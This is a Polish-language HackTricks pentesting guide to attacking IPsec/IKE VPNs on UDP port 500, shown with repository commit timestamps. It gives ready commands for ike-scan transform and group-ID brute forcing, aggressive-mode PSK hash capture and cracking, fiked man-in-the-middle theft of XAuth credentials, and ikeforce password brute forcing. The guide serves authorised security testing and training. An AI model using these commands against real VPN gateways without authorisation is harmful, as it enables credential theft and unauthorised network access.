hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md

261 lines
19 KiB
Markdown
Raw Normal View History

# 500/udp - Testowanie penetracyjne VPN IPsec/IKE
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-01-03 10:42:55 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 01:46:25 +00:00
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
2022-04-28 16:01:33 +00:00
</details>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
## Podstawowe informacje
**IPsec** jest powszechnie uznawany za główną technologię zabezpieczającą komunikację między sieciami (LAN-to-LAN) oraz od użytkowników zdalnych do bramy sieciowej (dostęp zdalny), stanowiąc podstawę dla rozwiązań VPN dla przedsiębiorstw.
Ustanowienie **stowarzyszenia bezpieczeństwa (SA)** między dwoma punktami jest zarządzane przez **IKE**, który działa w ramach protokołu ISAKMP, zaprojektowanego do uwierzytelniania i wymiany kluczy. Ten proces przebiega w kilku fazach:
- **Faza 1:** Tworzony jest bezpieczny kanał między dwoma punktami. Osiąga się to za pomocą klucza wstępnego (PSK) lub certyfikatów, przy użyciu trybu głównego, który obejmuje trzy pary komunikatów, lub **trybu agresywnego**.
- **Faza 1.5:** Choć nie jest obowiązkowa, ta faza, znana jako Faza Rozszerzonej Autoryzacji, weryfikuje tożsamość użytkownika próbującego połączyć się, wymagając nazwy użytkownika i hasła.
- **Faza 2:** Ta faza poświęcona jest negocjacji parametrów zabezpieczających dane za pomocą **ESP** i **AH**. Pozwala to na użycie algorytmów różnych od tych w Fazie 1, aby zapewnić **Doskonałe Przekazywanie Tajemnic (PFS)**, zwiększając bezpieczeństwo.
2024-02-11 01:46:25 +00:00
**Domyślny port:** 500/udp
2024-02-11 01:46:25 +00:00
## **Odkryj** usługę za pomocą nmap
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
2024-02-11 01:46:25 +00:00
## **Znajdowanie prawidłowej transformacji**
Konfiguracja IPSec może być przygotowana tylko do akceptacji jednej lub kilku transformacji. Transformacja to kombinacja wartości. **Każda transformacja** zawiera szereg atrybutów, takich jak DES lub 3DES jako **algorytm szyfrowania**, SHA lub MD5 jako **algorytm integralności**, klucz wstępnie uzgodniony jako **typ uwierzytelnienia**, Diffie-Hellman 1 lub 2 jako algorytm **dystrybucji klucza** oraz 28800 sekund jako **czas życia**.
Następnie pierwszą rzeczą, którą musisz zrobić, to **znaleźć prawidłową transformację**, aby serwer zechciał z tobą rozmawiać. Aby to zrobić, możesz skorzystać z narzędzia **ike-scan**. Domyślnie Ike-scan działa w trybie głównym i wysyła pakiet do bramy z nagłówkiem ISAKMP i pojedynczą propozycją z **osiemnastoma transformacjami wewnątrz**.
2024-02-11 01:46:25 +00:00
W zależności od odpowiedzi możesz uzyskać pewne informacje na temat punktu końcowego:
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
2024-02-11 01:46:25 +00:00
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
Jak widać w poprzedniej odpowiedzi, istnieje pole o nazwie **AUTH** z wartością **PSK**. Oznacza to, że vpn jest skonfigurowany za pomocą klucza wstępnego (co jest naprawdę dobre dla pentestera).\
2024-02-11 01:46:25 +00:00
**Wartość ostatniej linii jest również bardzo ważna:**
* _0 zwrócony handshake; 0 zwrócone powiadomienie:_ Oznacza to, że cel **nie jest bramą IPsec**.
* _**1 zwrócony handshake; 0 zwrócone powiadomienie:**_ Oznacza to, że **cel jest skonfigurowany do IPsec i jest gotowy do przeprowadzenia negocjacji IKE, a jedna lub więcej proponowanych transformacji jest akceptowalna** (poprawna transformacja zostanie pokazana w wyniku).
* _0 zwrócony handshake; 1 zwrócone powiadomienie:_ Bramy VPN odpowiadają powiadomieniem, gdy **żadna z transformacji nie jest akceptowalna** (choć niektóre bramy tego nie robią, w takim przypadku należy przeprowadzić dalszą analizę i spróbować zrewidować propozycję).
W tym przypadku mamy już poprawną transformację, ale jeśli znajdujesz się w 3. przypadku, musisz **nieco przeprowadzić atak brute-force, aby znaleźć poprawną transformację:**
Po pierwsze, musisz utworzyć wszystkie możliwe transformacje:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
I następnie przeprowadź atak siłowy na każde z nich, używając ike-scan (może to zająć kilka minut):
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
Jeśli atak brutalnej siły nie zadziałał, być może serwer odpowiada bez ustanawiania połączenia nawet dla poprawnych transformacji. W takim przypadku można spróbować tego samego ataku brutalnej siły, ale w trybie agresywnym:
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Mam nadzieję, że **poprawna transformacja jest odsyłana**.\
2024-02-11 01:46:25 +00:00
Możesz spróbować **tego samego ataku** za pomocą [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
Możesz także spróbować siłowo przeprowadzić transformacje za pomocą [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../.gitbook/assets/image (109).png>)
W **Grupa DH: 14 = 2048-bit MODP** i **15 = 3072-bit**\
2024-02-11 01:46:25 +00:00
**2 = HMAC-SHA = SHA1 (w tym przypadku). Format `--trans` to $Enc,$Hash,$Auth,$DH**
Cisco zaleca unikanie używania grup DH 1 i 2, ponieważ nie są wystarczająco silne. Specjaliści uważają, że **kraje posiadające duże zasoby mogą łatwo złamać** szyfrowanie danych korzystających z tych słabych grup. Dokonuje się tego za pomocą specjalnej metody, która przygotowuje je do szybkiego złamania kodów. Pomimo kosztów związanych z ustanowieniem tej metody, pozwala to tym potężnym krajom na odczytywanie zaszyfrowanych danych w czasie rzeczywistym, jeśli używana jest grupa, która nie jest wystarczająco silna (np. 1,024-bitowa lub mniejsza).
### Identyfikacja serwera
Następnie można użyć ike-scan do próby **odkrycia producenta** urządzenia. Narzędzie wysyła początkową propozycję i przestaje odtwarzać. Następnie **analizuje** różnicę **czasu** między otrzymanymi **wiadomościami** od serwera a pasującym wzorcem odpowiedzi, co pozwala pentesterowi z powodzeniem zidentyfikować producenta bramy VPN. Ponadto niektóre serwery VPN będą używać opcjonalnego **ładunku ID producenta (VID)** z IKE.
**Określ prawidłową transformację, jeśli jest to konieczne** (używając --trans)
Jeśli IKE odkryje, jaki jest producent, wypisze go:
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
2024-02-11 01:46:25 +00:00
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
2024-02-11 01:46:25 +00:00
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
2024-02-11 01:46:25 +00:00
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
2024-02-11 01:46:25 +00:00
To można również osiągnąć za pomocą skryptu nmap _**ike-version**_
## Znalezienie poprawnego ID (nazwy grupy)
Aby móc przechwycić skrót, potrzebujesz poprawnej transformacji obsługującej tryb Aggressive oraz poprawne ID (nazwa grupy). Prawdopodobnie nie będziesz znać poprawnej nazwy grupy, dlatego będziesz musiał ją przeprowadzić metodą brute-force.\
2024-02-11 01:46:25 +00:00
Aby to zrobić, polecam Ci 2 metody:
### Przeprowadzanie ataku brute-force na ID za pomocą ike-scan
Po pierwsze, spróbuj złożyć żądanie z fałszywym ID, próbując zgromadzić skrót ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
Jeśli **nie zostanie zwrócony żaden skrót**, to prawdopodobnie ta metoda ataku brute force zadziała. **Jeśli zostanie zwrócony jakiś skrót, oznacza to, że fałszywy skrót zostanie wysłany z powrotem dla fałszywego ID, więc ta metoda nie będzie niezawodna** do ataku brute-force na ID. Na przykład, może zostać zwrócony fałszywy skrót (co się zdarza w nowoczesnych wersjach):
![](<../.gitbook/assets/image (110).png>)
Ale jeśli, jak powiedziałem, nie zostanie zwrócony żaden skrót, powinieneś spróbować ataku brute-force na powszechne nazwy grup za pomocą ike-scan.
Ten skrypt **spróbuje ataku brute-force na możliwe ID** i zwróci ID, dla których zostanie zwrócony poprawny handshake (będzie to poprawna nazwa grupy).
Jeśli odkryłeś określoną transformację, dodaj ją w poleceniu ike-scan. A jeśli odkryłeś kilka transformacji, śmiało dodaj nową pętlę, aby spróbować ich wszystkich (powinieneś je wszystkie wypróbować, aż jedna z nich będzie działać poprawnie).
Możesz użyć [słownika ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) lub [tego w seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) z powszechnymi nazwami grup do ataku brute-force na nie.
```bash
2021-01-18 14:24:10 +00:00
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
### Bruteforcing ID with Iker
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) używa również **ike-scan** do przeprowadzenia ataku brutalnej siły na możliwe nazwy grup. Podąża za własną metodą, aby **znaleźć prawidłowe ID na podstawie wyników ike-scan**.
### Bruteforcing ID with ikeforce
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) to narzędzie, które można użyć do **brutalnego ataku na ID**. To narzędzie będzie **próbować wykorzystać różne podatności**, które mogą być użyte do **rozróżnienia między prawidłowym a nieprawidłowym ID** (może wystąpić fałszywe pozytywy i fałszywe negatywy, dlatego wolę używać metody ike-scan, jeśli to możliwe).
Domyślnie **ikeforce** na początku wyśle kilka losowych id, aby sprawdzić zachowanie serwera i określić taktykę do użycia.
* **Pierwsza metoda** polega na brutalnym ataku na nazwy grup poprzez **wyszukiwanie** informacji **Dead Peer Detection DPD** systemów Cisco (ta informacja jest odtwarzana tylko przez serwer, jeśli nazwa grupy jest poprawna).
* **Druga dostępna metoda** polega na **sprawdzaniu liczby odpowiedzi wysłanych do każdej próby**, ponieważ czasami wysyłane jest więcej pakietów, gdy użyte jest poprawne id.
* **Trzecia metoda** polega na **wyszukiwaniu "INVALID-ID-INFORMATION" w odpowiedzi na nieprawidłowe ID**.
* Wreszcie, jeśli serwer nie odpowiada na żadne sprawdzenia, **ikeforce** spróbuje przeprowadzić brutalny atak na serwer i sprawdzić, czy po wysłaniu poprawnego id serwer odpowiada jakimś pakietem.\
Oczywiście celem brutalnego ataku na id jest uzyskanie **PSK** po uzyskaniu prawidłowego id. Następnie, z **id** i **PSK** będziesz musiał przeprowadzić brutalny atak na XAUTH (jeśli jest włączony).
Jeśli odkryłeś określoną transformację, dodaj ją w poleceniu ikeforce. A jeśli odkryłeś kilka transformacji, śmiało dodaj nową pętlę, aby spróbować ich wszystkich (powinieneś je wszystkie wypróbować, aż jedna z nich będzie działać poprawnie).
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```
```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### Przechwytywanie ID
(Z książki **Network Security Assessment: Know Your Network**): Możliwe jest również uzyskanie prawidłowych nazw użytkowników poprzez podsłuchiwanie połączenia między klientem VPN a serwerem, ponieważ pierwszy pakiet trybu agresywnego zawierający identyfikator klienta jest wysyłany w formie niezaszyfrowanej
![](<../.gitbook/assets/image (111).png>)
2024-02-11 01:46:25 +00:00
## Przechwytywanie i łamanie hasha
Wreszcie, jeśli znalazłeś **prawidłową transformację** i **nazwę grupy**, oraz jeśli **tryb agresywny jest dozwolony**, wtedy możesz bardzo łatwo przechwycić hasha, który można złamać:
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
Hash zostanie zapisany wewnątrz _hash.txt_.
Możesz użyć **psk-crack**, **john** (korzystając z [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) oraz **hashcat** do **łamania** hasha:
2021-01-18 14:26:55 +00:00
```bash
2022-01-12 14:33:12 +00:00
psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
**Tryb agresywny IKE** w połączeniu z **kluczem wstępnym (PSK)** jest powszechnie stosowany do celów **uwierzytelniania grupowego**. Metodę tę uzupełnia **XAuth (Rozszerzona Autentykacja)**, która wprowadza dodatkową warstwę **uwierzytelniania użytkownika**. Takie uwierzytelnianie zazwyczaj korzysta z usług takich jak **Microsoft Active Directory**, **RADIUS** lub podobne systemy.
2024-02-08 21:36:15 +00:00
Przejście do **IKEv2** wiąże się z zauważalną zmianą, gdzie zamiast **XAuth** wykorzystywany jest **EAP (Protokół Rozszerzonej Autentykacji)** do uwierzytelniania użytkowników. Ta zmiana podkreśla ewolucję praktyk uwierzytelniania w ramach bezpiecznych protokołów komunikacyjnych.
2024-02-08 21:36:15 +00:00
### Lokalny atak MitM w sieci do przechwytywania poświadczeń
Możesz przechwycić dane logowania za pomocą _fiked_ i sprawdzić, czy istnieje jakieś domyślne nazwa użytkownika (Musisz przekierować ruch IKE do `fiked` w celu podsłuchiwania, co można zrobić za pomocą podszywania ARP, [więcej informacji](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked będzie działać jako punkt końcowy VPN i przechwyci poświadczenia XAuth:
2021-01-18 14:26:55 +00:00
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
### Próba siłowego przełamania nazwy użytkownika i hasła XAUTH za pomocą ikeforce
Aby siłowo przełamać **XAUTH** (gdy znasz poprawną nazwę grupy **id** i **psk**), możesz użyć nazwy użytkownika lub listy nazw użytkowników oraz listy haseł:
2021-01-18 14:26:55 +00:00
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
W ten sposób ikeforce będzie próbował połączyć się, używając każdej kombinacji nazwa użytkownika:hasło.
Jeśli znalazłeś jeden lub kilka prawidłowych transformacji, po prostu użyj ich jak w poprzednich krokach.
## Autoryzacja za pomocą VPN IPSEC
W Kali, **VPNC** jest wykorzystywany do nawiązywania tuneli IPsec. **Profile** muszą być umieszczone w katalogu `/etc/vpnc/`. Możesz uruchomić te profile za pomocą polecenia _**vpnc**_.
2024-02-05 02:29:11 +00:00
Poniższe polecenia i konfiguracje ilustrują proces ustawiania połączenia VPN za pomocą VPNC:
2024-02-05 02:29:11 +00:00
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
2024-02-05 02:29:11 +00:00
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
2024-02-05 02:29:11 +00:00
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
```
2024-02-11 01:46:25 +00:00
W tej konfiguracji:
2024-02-11 01:46:25 +00:00
- Zastąp `[VPN_GATEWAY_IP]` rzeczywistym adresem IP bramy VPN.
- Zastąp `[VPN_CONNECTION_ID]` identyfikatorem połączenia VPN.
- Zastąp `[VPN_GROUP_SECRET]` sekretem grupy VPN.
- Zastąp `[VPN_USERNAME]` i `[VPN_PASSWORD]` danymi uwierzytelniającymi VPN.
2024-02-11 01:46:25 +00:00
- `[PID]` symbolizuje identyfikator procesu, który zostanie przypisany podczas inicjowania `vpnc`.
2024-02-05 02:29:11 +00:00
Upewnij się, że podczas konfigurowania VPN zastępujesz zastępcze wartości rzeczywistymi, bezpiecznymi wartościami.
2024-02-05 02:29:11 +00:00
2024-02-11 01:46:25 +00:00
## Materiały referencyjne
* [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
2024-02-05 02:29:11 +00:00
* Network Security Assessment 3rd Edition
## Shodan
2020-10-05 13:59:40 +00:00
* `port:500 IKE`
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-01-03 10:42:55 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
2024-02-11 01:46:25 +00:00
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>